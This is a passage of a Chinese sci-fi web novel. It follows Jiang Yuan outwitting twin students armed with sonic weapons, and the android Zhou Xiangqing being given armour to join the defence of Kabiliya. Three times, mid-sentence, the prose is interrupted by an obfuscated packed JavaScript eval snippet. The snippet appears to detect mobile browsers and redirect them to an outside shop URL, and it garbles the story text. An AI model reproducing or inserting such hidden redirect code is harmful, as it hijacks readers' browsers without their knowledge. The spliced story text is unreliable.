姜原又叹了口气。“那我走了。”他转过身,向巷道的出口走去。 “喂!废物,你别跑啊!月下华尔兹,拦住他!” 月下华尔兹? 姜原一步接一步靠近出口处的少年。他背上的机械爪已经待命,右手心里扣着□□,左手则是辣椒喷雾。 出口处的少年看到姜原朝自己走来,一时间没了主意,向自己的兄弟叫道:“冥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088319|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 界浪人,怎么办?教授们又没有让我们把他怎么样!” 冥界浪人? 姜原倒不在乎他们怎么办。他打定主意,如果对方真的出手,那么就在不伤到性命的前提下还击。他的机械爪已经提前穿过大衣的袖筒,藏在手肘下待命。 “揍他!”那个“冥界浪人”喊道。 被称为“月下华尔兹”的少年对着姜原抬起双手。姜原能看到他那宽阔的衣袖下的漆黑圆洞。不论那里面是什么,总之就是这对兄弟赖以完成任务的某种道具。机械爪伸出,卷上少年的手臂,把他的双手向两侧甩开。 “低音炮!” 一股低沉而强有力的音波从袖筒内的黑洞中喷涌出来。8Hz的低频周波一个细胞接一个细胞地接管了姜原的身体,让他心脏和血管脉搏都迎合那音波的步调泵动。而音波沿固体传播得更快,伴随强烈的眩晕与恶心,他浑身的肌肉也在一瞬间失去了控制,差一点就跪了下去。 好在他对机械爪的控制并没有受影响。姜原松开那少年的手臂,靠另外两只爪钩住后面的防火梯,将整个身子拉到半空。尽管身体已经离开,但他的中耳似乎已经受到了损伤,耳边蜂鸣声不绝,太阳穴也一跳一跳地痛。 就在此时,另一个少年也摆出一个奇怪的姿势,举起手臂,瞄准挂在空中的姜原,喊道:“死亡——波纹!” 一个黑色的圆球从少年的袖口飞出。姜原并不知道那到底是什么东西,但他此时挂在空中,避无可避。但他此时也不敢再用机械爪去接,索性反推防火梯,身子急坠,落回地面。但他的肌肉还没有恢复,膝盖一软,跪在地上。 那黑色的圆球撞上大楼的墙壁,就像石块投入平静的湖面,墙壁上的涂层、保温材料与砌体砖振动、摇晃、碎裂,泛成一圈圈的固体波纹。防火梯猛烈摇晃着,打进墙内的膨胀螺丝也松脱了,叮叮当当地掉落下来。 “废物,看到了吗?不是谁都像你一样一无是处呀。”那少年得意地摊开双手。 “哥哥,你这样说有点过分了。学长只是天生能力不足罢了,这不能怪他。姜原学长,如果你在毕业方面有什么困扰,来问我们也是可以的。” 另一个少年的安慰让姜原哭笑不得。但他也不敢对这两个小孩掉以轻心,不管是低频还是高频的震波,挨一下可都不是好受的。 “好啦,废话少说,快点把文档拿出来,我们替你交给教授。” “姜原学长,你还是把文档交给我哥哥吧。他性格那么差,如果他生气把你打坏了,那就不好了。” “好好好,我交,我这就交。”姜原把手伸进大衣衣领,从中拿出一个藏青色的小盒子,放在面前的地上。 傲慢的少年哼了一声,正要过去捡,却又停住,说:“你把它推过来。谁知道你心里有什么小九九,会不会趁我弯腰的时候袭击我。” 姜原把盒子推向前方,少年伸脚把它踩住。他刚准备弯腰去捡,却又停住,对自己的弟弟叫道:“喂,你过来看着他。他要是敢动,你就给他一炮。” 弟弟点头答应。但姜原此时正蹲在巷道的中央,他要过去,就必须从姜原的身边经过。但少年又不敢让弟弟跟姜原靠的太近,于是连忙喝止,重新对姜原下令道:“你,转过去!不准看这边!” “好的好的。”姜原转过身去。此时他的耳鸣和头痛已经缓解了一些,算是能够稍稍集中一点注意力了。他转过身,对面前少年的弟弟微微一笑,蹲下来,双手抱在脑后。 “你和你哥哥,都叫什么名字?”姜原问。 “我叫——” “不要告诉他!”少年刚捡起盒子,在琢磨怎么打开。 “不能告诉你。”弟弟急忙摇头。 “好吧。”姜原摇了摇头,深深埋下脑袋,用双手竖起衣领。 他的背后传来砰的一声,然后是少年的惊叫。藏青色的小盒子在打开的一瞬间喷射出一大团泡沫,把碰到的所有东西都黏在一起,然后慢慢固化结块。少年的上半身都被泡沫覆盖,一时动弹不得。这是姜原对那把泡沫枪的小小改装。 少年的弟弟被这突如其来的情况吓了一跳,在他反应过来正要出手时,姜原对着他的鼻子给了一下辣椒喷雾,呛得他鼻涕直流,连连咳嗽。姜原就趁着这个时候,悠然自得地登上防火梯。 “拜拜啦,冥河浪人,月下华尔兹。不过,今夜的月色的确很美。”姜原靠在防火梯上,对兄弟俩挥了挥手。 “你这个卑鄙的大人!”冥河浪人愤怒地喊道,只是他的拳头已经被胶水固定住了,无法挥动。而月下华尔兹正拼命摘下成像眼镜,去擦流出的泪水。 姜原哈哈大笑。 此时,空中响起了如鲸鱼歌唱般的汽笛长鸣。 31. 卡比利亚之夜16 嘟———— “哥哥,怎么办,到时间了!” “别吵,我在想办法!” “到时间了是什么意思?”姜原皱起眉头,问下面的兄弟。 “我们要在汽笛响起的时候赶到内城——” “不准告诉他!” “不能告诉你。” 好吧。看来跟学院的任务有关系。姜原悠哉游哉地逐级爬上防火梯。反正他不是这两个小孩的保姆,没义务去管他们到底是谁,要去哪里,要干什么。 姜原闲庭信步似的登上大楼的楼顶,然后他就看到了今夜那美丽的月色。 嘟———— 第二声汽笛响起。 一艘巨鲸般的飞艇停在内城方向的高空,银白色的艇身就如月亮般明亮。那长长的汽笛声就是它发出来的。姜原能看到无数小小的白点从它的腹部弹出,在空中膨胀变大,快速游向地面。与此同时,许多火光纷纷在鲸鱼身边亮起,散出白色和红色的烟雾。 姜原突然想起在瘦猴那里看到的那张卫星照片。 那么可以认为,学院早就知道公司的战争密谋。 而这两个小孩的任务大概也跟这场战争相关。他们穿着教会的衣服,大概是渗透类型的事情。但他们要干什么?有什么工作是适合他们干的? 姜原一时无法猜透。他理解不了“教授们”的思维。教授们的需求是永无止境的,他们会把所有能想到的事情都挂上任务栏,不论是发明治疗猫脚气的方案,还是去马里亚纳海沟的火山口收集细菌。相对容易的任务一上榜就会很快被人抢走;而运气不好的学生,则不得不拼上小命去完成那些惨无人道的非分要求。当然,最多类型的任务都是—— ——去拿到某某关于某某的研究成果。 这些“某某”,有相当一部分都是学院的毕业生。毕竟教授们最感兴趣也最贪吃的,永远是知识。学院就像是一条巨大的提灯鮟鱇,把长满利齿的巨口隐藏起来,静静地潜伏在深海的黑暗之中,等待那些被灯光所吸引的小鱼为它带来食物。而新的食物又会让这盏诱饵灯变得更加明亮。 他有一次鼓起勇气问教授们,为什么要收集这些知识。而教授们答道: ——为了保存,也为了分享,但最关键的在于,为了在下一次自动化大崩溃到来时,有所准备。 好吧,这算得上是一个不错的目标。 但他怀疑学院并没有把所有的知识都向学生们公开。学院也收集了不少关于自动化大崩溃的资料,但姜原看到的都是些无关紧要的内容。世界政府长长的会议记录,各地的受灾情况,采取的应对措施以及整个社会体系仍不免于崩溃的结果。关于崩溃成因的研究也有不少,比如量子隧穿对仿生人电子脑的度量伦理逻辑悖论之影响。 但这种研究总给姜原一种,他们在绕着真正的目标打转的感觉。 嘟———— 第三声汽笛把姜原从一时的沉思中唤醒。 他必须加快速度了。 ### “八天半”旅馆大门敞开,大堂里面空无一人。看上去像是这里的旅客都接到消息,撤离到别的地方去了。姜原先去看了看停车的地方,还好,车还在。然后他就上了楼。为防万一,他在周向青的房间前敲了敲门,里面无人答应。所以大概是已经走了吧。他掏钥匙开了自己的房门,只见房间里黑洞洞的,赛德也不知所踪,只有他的两箱行李还好端端放在房间的角落。 姜原开了灯,提起行李放在床上,准备重新整备一下,却听到窗外传来那兄弟俩的争论声。 “哥哥,我们还是去内城那边吧。明明都已经迟到了。” “不行,这个场子我必须找回来!” “我们不要耽误时间啦。” “他房间的灯刚亮。他刚回来!” “哥哥,你这么一喊,他都听到啦。” “是啊,我都听到了。”姜原拉开窗帘,打开窗户,靠在窗前打了个招呼。兄弟俩已经用某种办法弄掉了身上的凝胶,只是没有完全弄干净——哥哥的头发和衣服总显得比弟弟要白一些。“话说,你们到底要去内城干什么?难不成是去忏悔你的傲慢之罪吗?”他打趣道。 “呸!受死吧,垃圾!” 哥哥对着姜原举起手臂。 虽然不知道那玩意到底是什么,但让它打到旅馆,那可就糟了。不过它既然是靠高频振动来摧毁物体,那也意味着它的振波几乎无法在空气中传递。姜原后退一步,同时随手抓起桌上的旅游杂志,对少年射出的黑色圆球丢了过去。他想试试这效果怎么样。 圆球释放出的能量把那本杂志撕得粉碎,碎纸如下雪一般散落。虽然杂志提前触发了振源中蕴含的能量,但并不能与上升的速度相抵消。圆球穿透那一团印着文字的雪花,仍旧击中了旅馆的窗框。 姜原急忙背身低头。窗户玻璃一瞬间全部炸裂,碎片如瀑布般四溅,不少碎玻璃打在他的后背,噼啪作响。此时汽车的警报声也一同大作,姜原向窗外一看,却见兄弟两人已经不在。 姜原只好拉开行李箱的拉链,从里面掏出一包鸟粮,撕开包装,从里面取出装着存储器的藏青色盒子,塞进大衣内的口袋。然后他提起行李箱,一双机械爪抓住窗沿,一脚踩上窗台,准备从这里下去,驾车离开。 但此时他才注意到,那汽车的警报声居然是从隔壁传来的。他一时不敢相信,重新看了看楼下的车。没错,汽车的报警灯没有亮。而隔壁传来的警报声,就说明那是—— 胖球? 此时房门外响起电梯到达时的清脆铃音。 姜原无暇思考,只得丢下他的行李箱,翻身出窗,爬进隔壁那已经空洞洞的窗户。果然,胖球的笼子就在桌上,周围落了一大滩玻璃颗粒。 砰的一声,姜原房间的门被一发那什么“死亡波纹”震开了。他甚至觉得这小小的旅馆也跟着摇晃起来。胖球更是吓得大叫大嚷。 “妈的,他跑了!这个卑鄙的大人!” “哥哥,我们不要再浪费时间了,教授们又没有发任务让我们做这件事,即便做了也不一定有什么好处。” 听声音,兄弟二人都走进了姜原的房间。 “如果一开始就让他跑了,倒也无所谓,但现在我不能放过他。”双胞胎中哥哥的声音靠近窗边,大概是在向外张望。 “为什么啊?”弟弟问道。 哥哥倒是没有回答。 姜原想走,但他并不敢动。一方面自然是他带走胖球的动静必然很大;另一方面就是,他的脚下全都是玻璃颗粒,一动的话必然有响声。 但就这样站着也不是什么办法。那两个少年都戴着成像眼镜,不知道到底有什么功能。如果他们的设备能够捕捉并区分比较微弱的声音的话,那么他们或许能够很快找到自己的位置,这样的话…… 姜原提起鸟笼,冲向门口。机械爪抢先一步拧开门把手,身子随后飞出。也就几乎在同一时间,他背后传来了低音炮的轰鸣声。姜原的耳膜和心脏一起砰砰跳动,但他还是运起精神,重重一脚踹上对面的房门。 门锁处木屑纷飞。姜原一头撞进房间。机械爪抓起钢管椅,把尖角的一端砸上窗玻璃。伴着玻璃破碎和胖球的尖叫声,姜原踏上窗台,再度跳出窗外。一发黑色的圆球堪堪从他头顶飞过,命中了对面的大楼。 姜原的身体虽然已在窗外,但背后的机械爪却是向上甩,紧紧扣住楼上的窗沿。他在空中转了个身,双脚踏上墙壁,在踩过窗框径直向上方跳去的同时,顺手对着窗户的破洞喷了一发辣椒喷雾。 少年还以为姜原是要逃往地面,正要来窗前补上一击,却不料姜原竟飞了上去。他一愣的工夫,外面的冷风就卷着辣椒雾气直钻进他的鼻腔,呛得他鼻涕直流。他强行屏住呼吸,退回走廊,对弟弟喊道:“他去楼上了!他去楼上了!” 弟弟此时也来到了走廊里。他看到哥哥通红的鼻子,便掏出手帕递了过去。哥哥没有接,因为他看到电梯正在上升,显然是姜原在楼上按下了电钮。哥哥便也按了向下的电钮,叮嘱弟弟说:“你在这里等他!电梯门一开你就开火!” 看到弟弟点头不迭,哥哥赶忙向消防楼梯跑去。他紧盯着自己的成像眼镜,寻找姜原的位置。姜原每走一步,每一个动作,都在成像眼镜的显示屏上留下环环扩散的波纹。 只不过这波纹之间也会相互干涉,只要一不留神,就会乱得无法辨识。 而此时姜原的波纹正从一端移向另外一端。姜原从客房出来,又撬开对面客房的房门,走进去,打开窗户,爬回了自己的房间。 他的行李还好好放在床上。姜原用两条机械爪提起行李,走出房门。而那双胞胎的弟弟还正盯着下来的电梯。机械爪如银环蛇般吐着信子,游上弟弟的脖颈,尖牙对准他的喉咙。 “别动。”姜原一手按上弟弟的肩膀,在耳边轻声说道。此时哥哥才从楼上冲了回来。姜原挥挥手,笑着打了个招呼。“你好啊。”他说。 “这个卑鄙的大人。你放开他!”哥哥恨恨地喘着粗气。 “唉,连一声学长都不肯叫吗?” 电梯叮地一声,打开了门。 姜原拉着弟弟,提着行李,托着鸟笼,像千手观音一样进了电梯。哥哥咬牙切齿地瞪着姜原,却无计可施,眼睁睁看着电梯门关闭。 电梯门关上以后,姜原按下一楼和二楼的电钮,然后松开了钳着弟弟的机械爪。“你哥哥为什么看我不爽啊?” “我大概能猜到,但他肯定不想我说。” “好吧。那你们是打算去内城干什么?你们知道公司会在今天进攻吗?” “不知道。我们只知道要在汽笛响起之后,去内城的大博物院,然后拿到关于活化机械的研究内容。” “原来如此。谢啦。” 叮。电梯门在二楼打开了。姜原走了出去。“拜拜。代我跟你哥哥问好。” 电梯门合上了。 姜原把手心里的电枪对准客房的电磁门锁,让电流击穿电路,门也随即打开。他走进房间,打开窗,跳到窗外。然后打开小车的后备箱,把行李扔了进去。 至于鸟笼……他想了想,还是放到了副驾座位上。 目前的情况有点超出了控制。很多事情都与他起初的认知不同。 首先,他本来以为这份文档有助于改变双方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088320|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在战争中的“民心所向”。可是枢机主讲貌似并不在乎能不能拿到这最后一份文档。这可能不过是他个人的态度,但这到底是不是整个教会高层共同的认知? 其次,他本来以为学院在这场战争中持一种中立的态度。但从目前的情况来看,学院知道公司这一次的进攻,并且趁机想要拿到剩余的研究成果——因为教会早就开始撤离研究人员了。那么学院在多大程度上参与了公司的行动? 第三,周向青如果是跟让娜和赛德一起撤离,那她绝不会把胖球留在这里。那么她现在到底去了哪里?而赛德之前不是喝醉了吗?他现在又去了哪里? 这三个问题,姜原只能大概猜到一个问题的答案。 大概是周向青陪着让娜去找那什么书记员姨妈,但因为公司袭击的缘故,被困在了内城。 如果是这样,那麻烦可就大了。 “怎么样,胖球,我准备带你去找你的主人,所以请你不要咬我……”姜原打开鸟笼的门,把手伸了进去。他想像周向青一样把它揣在怀里,这样行动起来方便一点。 但胖球猛地一口,叨住了姜原的指尖。血从指甲缝里流了出来。 姜原赶忙缩回手,关上了笼门。 此时他的背后响起一个气急败坏的声音。 “你这个卑鄙的大人!” 好吧,看来这边的事情还没完。 姜原转过身,看着双胞胎兄弟俩。“怎么,还来?” “你跟我到街上,生死决斗!谁都不许跑!”哥哥咬牙切齿,大拇指往街上一指。街道目前空旷无人,倒是挺合适搞什么“生死决斗”。 “哥哥,算了吧。学长也不是坏人。” “不行,不能就这么算了。” “好,但如果我赢了,怎么办?”姜原问。 “要杀要剐随便你!” “哥哥!” “得了吧。我要是赢了,你就告诉我,你们俩的名字。” “你来,你来,你来!”哥哥先站到路中间。 虽然这么说,但姜原还真的不太清楚怎么应对他的攻击。他知道可以用其它物质撞击来提前触发能量释放,但如果用的东西动能太小,就起不到拦阻的效果。他看了看自己的行李箱。对付小孩总犯不着用榴弹枪吧。虽然自己一旦被对方的攻击打中,可是实打实的生命危险。 但既然高频振波在空气中衰减明显,那么,通过爆炸产生气体来形成防护层,把振动转换为推力也不是不可以。他还有之前用在机器人身上的小型动能炮,一次性的小玩意。 姜原抓起两把鸟粮塞进动能炮的炮口,然后团了团废纸把它封住。三管炮,三次机会,也差不多够了。他把小炮管插进口袋,走上街道。 双胞胎的哥哥正在那里等他。见到姜原来了,哥哥迫不及待地让他站在相距十米左右的位置。 “你这‘生死决斗’,到底什么规矩?”姜原问。 “没规矩。就是到死为止。” 姜原的眼皮跳了一下。这也算是这世界上通用的规矩。“那你赢过几次了?” “八次。”少年傲然回答。 姜原点了点头:“每次你都让你弟弟看着?” “……他有时候也上场。” “明白了。开始吧。” 姜原话音未落,那少年便已抬臂发射。漆黑的圆球对准姜原腿部飞来。他很显然是准备在姜原开始闪避时打出第二发。 但姜原此刻却不闪不避。机械爪抓着动能炮的炮管迎向黑球,在即将接触的一瞬点火发射。爆炸气流卷着谷粒一起飞出,与黑球在炮管内部相撞。压缩空气抵消了黑球自身的动能,而高频振波传导到谷粒上,在炮管内发出一阵飞沙走石般的噼啪爆裂声。机械爪同时松开炮管,动能炮落向地面。谷粒、气流、还有那黑色的圆球如喷泉般喷射出来,炮管吸收了空气粒子与谷粒撞击的能量,早已热得发红。 少年没想到姜原竟用这样的招数应对,一惊之下竟未射出第二发黑球。但姜原已经踏步向前。他不及多想,大头鞋的鞋底凸起两个万象球形轮,向后滑去。姜原脚下加快速度,不让少年拉开距离。 少年仓促之间,第二发、第三发黑球直接射向姜原的胸口。姜原故技重施,身子一侧,用动能炮接住第二发黑球,然后把动能炮直对着第三发投了过去。两发黑球在炮管内相撞,释放的能量将炮管炸碎,破片全都射向后面的路面。 此时姜原的一只机械爪已经缠住少年的手臂,把他向自己怀里一拉。少年脚下的万向轮提供不了足够的摩擦力,他被拉得转了个身,反而倒向姜原。少年大惊之下,举起手臂想要对着姜原的头部开火,但动能炮的炮口已经顶上了他手臂上的发射器。 “别急。”姜原说。“我知道你很急,但你先别急。嗯。让我想想我赢了的条件是什么。对了,你叫什么名字?” 少年咬着牙,没有回答。 “我叫林希声。我哥哥叫林天籁。”少年的弟弟在一旁答道。 姜原眨了眨眼睛。“如果我放了你哥哥,他该不会还要偷袭我吧?” “那是当然!”林天籁还不等弟弟回答,就不屈不挠地大声喊道。 32. 卡比利亚之夜17 “你——要什么?”那个花白胡子的伏龙芝将军皱起眉毛盯着周向青。 “我要加入——” “我听得见你说了什么!”将军对周向青怒吼道。“你们这些外行人总是想干涉我的防务!不论是怀英堡,还是这一次!大主讲,虽然现在已经是这种局面,但我还是要说,如果让我们军区单独负责卡比利亚的防务,不受外行人掣肘,绝对不会出现被渗透之类的情况。请您不要再管这些无聊的圣女游戏,尽快撤离。您虽然对军事一窍不通,但您对这个国家还是有非凡的意义。” “而您对信仰一窍不通,将军。我绝对不会离开大博物院一步。当时组织撤离研究人员时我就在说,卡比利亚是我们绝不可退让一丝一毫的最后据点。如果让米卡那些雇佣军攻进内城,在钟楼上方升起他们的旗帜,那么统修会在这几十年中,一天一天、一点一点建立起的人们的信心,也会随之化为乌有。我们会立即解体,自己毁灭。即便你在几秒钟后把米卡的旗帜拔掉也不会改变这一点。” 将军被大主讲这强硬的态度震慑到了。但徐正书总队长上前谏言道:“战争里一个人的力量是没有什么意义的,大主讲。我真的不明白您为什么要让区区一个仿生人加入这场战斗,似乎您真的以为这能改变什么局势一样。即便您不愿意放弃这座城市,但市民们都逃走了,那您的坚持还有什么意义?就算您一定要守在这里,那请您下令,让支援部队驱逐挡路的民众,优先通行吧。” “不行。应当是我们让民众看到,我们有能力保护民众;而不是把他们绑在我们身上。倒不如说,他们之所以撤离,就是对我们能力的怀疑。他们今天放弃了我们,是因为我们以前放弃了他们。难道你看不到其中的危险吗?” 徐正书不再说话,而是背过身去走到一边,和将军议论起来。 朱启儒大主讲也不去理他,只是转向周向青说:“你要加入战斗?” “是的。”她答道。 “即便代价可能是你的生命?” “是的。”她感觉到自己胸口的嗡嗡声。 奇怪。 明明是为了保护,却要前去杀戮。 ——但这是你亲身感受到那个人意图的最佳方式。 她听到自己这么辩解。 “好的。那我希望你能接受这一点不成敬意的礼物。” 朱启儒大主讲拍了拍手。之前那个如山一般的巨汉搬来了一个人偶架子,上面穿着一副盔甲,而后面还跟着两个穿着白袍的研究员。 “虽然它是实验型号,但除了穿戴麻烦之外,各项防御指标仍然是合格的。等眼前的困难结束之后,我们在给你重新准备一套。” 周向青准备脱去沾满鲜血的外套,便先解下了程光颐给她的银棘圣血徽章。赛德机师见状,靠了过来。 周向青明白他的心思。“请你替我处理它吧。”周向青把徽章递了过去。赛德双手接过,谨慎地把徽章放进贴身的口袋。 两个研究员从人偶身上拆下实验护甲,装到周向青的身上。实验护甲倒意外地合身。倒不如说,正因为是实验型号,所以模具并不大,而且用的是柔软的皮带连接而不是预设好的卡扣。 简直就像是为了她而设计出来的一样。 甲片之间虽然还没有加人工骨骼,但主要的能量反射已经足够。而鞋子有力反馈设计,方便加速和缓冲。护甲全身都呈原材料的白色,没有涂漆,只是每一块甲片上都有统修会的红色三角标记。 周向青穿好了护甲,但没有戴头盔。她并不想戴,而且也没办法戴——她的辫子太大了,根本不可能塞进去。所以她还是戴着自己的红帽子。只是研究员想了个方法,把面甲戴在了她脸上,顺便能跟帽子固定在一起。 她看不到自己的模样,但她认为自己这身装备很有独特的风格。 在周向青穿好盔甲的时候,徐正书总队长和伏龙芝将军也商量完了。将军先一步对大主讲说:“既然阁下坚持己见,那我们也应当辅佐您到最后一刻。所以,至少我们应当把现在掌握的局势跟这位……” “叫我周向青就好。” “……跟这位特别人士解释清楚。我可以把她按照统修会派驻的特别观察员来处理,她在军方辖区内享有一切类似阁下您的权利,但她不得干预军队的指挥。”将军并不理睬周向青的话,而是给她硬造了一个称呼。 “而我则暂时理解为阁下您愿意授予她荣誉骑士称号。”徐正书补充。 “而目前的情况是这样,”将军将地堡中的沙盘拿了出来,上面用不同颜色的发亮的光点代表双方的兵力配置,“这个三角形就是我们所在的内城,在我们身后,即西北方向就是悬崖,目前还没有侦测到敌军可能袭击的迹象;所以东方与南方的两条防线,就是敌军可能进攻的方向。我们估计飞艇空投了五百人的部队以及武器装备,但因为风力以及其它因素,他们几乎散布在整个上城区内。预计他们至少需要一个小时才能回收装备,完成基本战斗单位的集结和任务分配。而我们现在能隐约听到的交火声,就是我方的扫荡小队在尽可能清理落单的敌方人员。由于军官数量不足,所以我无法将更多兵力投放出去。这一点我之前已经说过了。一旦对方完成集结,就会在内城的两个斜边方向展开进攻。东侧是正对圣女望塔的凯旋广场、战役纪念馆、以及购物商场,敌军可能在购物广场纪念馆中集结部队躲开我们的侦察,并配合远处的重火力突破防线;而南侧则是政务部人员的住宅区以及别墅区,如果敌军在这个位置集结,尚未撤离的市民可能会有危险,这里建筑更高,虽然火炮不易展开,但机枪班组可以压制我们的防御火力。” 这么一场串内容听得周向青耳朵痛。好在她的脸隐藏在面甲后面,无需担心别人看到她的表情。她说:“那么我们应当优先阻止敌人占领……” ——东侧。她的直觉这么说。 “……南侧的区域?”她故意不去选择直觉的答案。 将军板着脸答道:“完全错误,特别观察员。你的想法完全错误。一旦敌人占据东部地区,重火力占据优势位置,那么我们都会马上完蛋。所以如果你想发挥一点作用的话,那就把重点放在摧毁对方空投的重型装备上。特别观察员,你至少应该有配备摧毁重型装备的武器吧?” 我怎么可能配备这种东西?周向青闭口不答。 将军轻轻哼了一声,重重叹气道:“徐队长,你最好教给她如何使用你们骑士团用的武器。毕竟她距离步兵的合格标准,比荣誉骑士要更远一些。” 徐正书似乎并未听出将军的讽刺之意,只是面不改色地说道:“骑士团使用的单兵反装甲武器是标枪三型。使用很简单,把前端在硬的东西上一磕,然后投出去即可。标配的盾牌、手铳、折刃以及相应弹药,都可以在军械库领取。” 在军械库领取。 他们只是想看她的笑话,完全没有去想应该怎么夺取胜利。 不过,他们怎么想和她没有关系。她不需要向眼前这些人证明自己的价值。她想要保护的是让娜、是米娅、是大主讲、是卡比利亚,以及并不在这里的那个人留下的痕迹与记忆。 眼前的状况简直就像是那个人隔着时空,向她发起的邀请。 周向青压下自己的帽檐,不想让他们看出自己亢奋的心情。 “那么,我就去军械库了。”周向青说。她并不指望这个将军或是那个队长会给她带路。她跟让娜挥了挥手。 让娜笑着挥了挥手。“大姐姐,你也是骑士啦。” “是啊。你要乖乖的呆在安全的地方。” “我陪你一程吧。”赛德在一旁说。 周向青没有答应,但也没有拒绝。 她猜到赛德有话要说,大概就是他那套不知所谓的圣女理论。 两人一同走出大博物院。米卡公司的巨大飞艇仍然悬在几千米高的空中,空投和地面的防空火力都已经停止了。远方传来的隐隐炮声,正是暴风雨前的雷鸣。 “抱歉。”赛德犹豫片刻之后,开口说道。 “你为什么道歉?”周向青反问。 “我也不清楚。跟他们争辩之后,我有点困惑。一方面是因为事情的发展并不尽如人意;另一方面则是……我感觉你并不是我想象中的……那个……” “我不是你想象中的圣女。”周向青淡淡地说。 “我……” “我并不是说,行为不一样,外貌不一样之类的事情。我是说,我就是我,我不是、也不可能是你想象中的圣女。所以你不需要觉得是你造成了什么后果,是你有什么责任之类的。我参与这场战斗只是为了我自己。” “谢谢,”赛德低下了头,“但你还是误会了。我仍然觉得,你是我们应该成为,但又无法成为的……那种对象。所以我说你不是我想象中的圣女,反而是指我自己想象的行为、外貌之类的地方。”说到这里,赛德不好意思地笑了笑,然后又说:“我认为你是另一种圣女,只是跟我想象的不一样而已。” 周向青笑了。她觉得眼前的这个人的确有他自己独特的一面。就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088321|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像那个虫丝硬盘一样,赛德的身上拥有能代表他自己的东西,而且他也看得到他自己。这正是她希望能够在卡比利亚找到、并拥有的东西。 “好吧。谢谢你。”她说。虽然赛德根本看不到她面甲后的表情。 军械库就在眼前。军需官已经收到通知,颇为干脆地给周向青发了武装带、骑士团标配的盾牌、手铳和子弹,以及4支标枪。 “没有通讯设备?”赛德看到周向青领到的东西,便去问军需官。 “没有。” “为什么?不给通讯设备怎么获知战场情况?” “这是上面的命令,你有意见关我屁事。”军需官啪的一下,把小窗户闭上了。 赛德无可奈何。他感概道:“在统修学校上学的时候,我也想要毕业后当上骑士。但你也看到了,骑士团并不是什么面向所有人的组织。” “所以你才去做了机师?”周向青系好武装带,把那些东西都插在顺手的位置。她试着拔出手铳,然后又把它插回去。 有种熟悉但又陌生的感觉。 “对。”赛德苦笑了一下,又说:“刚才在博物院里,他们只授你荣誉骑士称号。可能你以为那只是跟将军说的‘特别观察员’一样,是在调侃你。当然他们也未尝没有这种意思,但实际上,像你……我,还有让娜,我们这些‘外人’,是没有成为骑士团正式成员的资格的。但这并不是什么明文规定,只是台面下心照不宣的东西,所以……” 周向青明白了。“所以你没法跟让娜解释。” 赛德点了点头。“她刚才跟我说,大主讲保证会给她的叔叔想办法。她似乎很满意。这可能是最好的结局了。我不想看他们为了这点事把积蓄打了水漂,但又不能跟他们说得太清楚。或许,将来事情会有变化。这种潜规则会取消掉。无论什么人都能……做他们想做的事。” “我有点明白你对圣女的期望了。”周向青说。“希望你的想法能够实现。” “谢谢。”赛德说。 周向青和赛德离开军械库。 她想找个比较高的地方看看情况,所以便向钟楼走去。 但大圣堂周围的圣女草已经不再像之前那么安静。密密麻麻纤毛从土壤中昂起头来,整块土地都像笼罩在黑色的雾气里一般。它们似乎是被空气中的什么东西吸引了。这种感觉让她颇为不快,她不想再往前走,便重新走向圣女望塔的方向。 圣女望塔下面的洞门已经不再是简单的栅栏拦路。一些修士和士兵正在用从办公楼内拉出的桌椅做成路障,配合沙袋封堵成一个简单的瓮城。 “他们接到的指令是死守这里。”赛德说。“他们并不知道大博物院里面的人刚才都议论了什么。” “当然。”周向青回答。“但我们也不知道他们在想什么。” 你也不知道我在想什么。就连我自己也不太清楚。她在心里说。 赛德听不到周向青的心声。 他们只是顺着门洞内的楼梯,一级一级登上圣女望塔。 红墙大概五米高。而圣女望塔差不多把这个高度翻了一倍有余。他们从这里正好能能够看到凯旋广场公园里的圣女雕像。 周向青在两小时前才和让娜一同在那里祈祷,而现在望去只恍若隔日。圣女并没有变。她仍然如从前一样静立在水池边的灯光里,默默思考。 变的是周向青自己。 敌军还没有在附近出现,还没有人来打破圣女的沉思。只是远处时不时亮起爆炸的火光。将军说过,空降的敌军散布在整个上城区,派出的清剿队伍想必也正在这片区域中和对方交火。这个对她来说完全陌生的城市之中,正有两群对她来说完全陌生的人,为了一个对她来说完全陌生的目的而相互厮杀。 但她现在正站在这里,站在这座圣女望塔之上。她只能看到夜幕中的城市,而看不到战场。 那些厮杀的人存在,却又不存在。 因为战场只能被身在战场之中的人看到。 她望着那片时不时亮起光的黑暗,只感受到有什么东西正在那里召唤着她。是弗莱,是她的过去,是她心中既不同于周向青,也不同于简简单单的某种“功能”的某个东西。 她的心中嗡嗡作响。有一种不可遏制的、想要回应这种召唤的感觉,正在不断撞击她的心扉。 她想要到那黑暗中去。 到那片未知的战场中去。 “到战场去!”她在心中张开双臂,拥抱前方吹来的夜风。 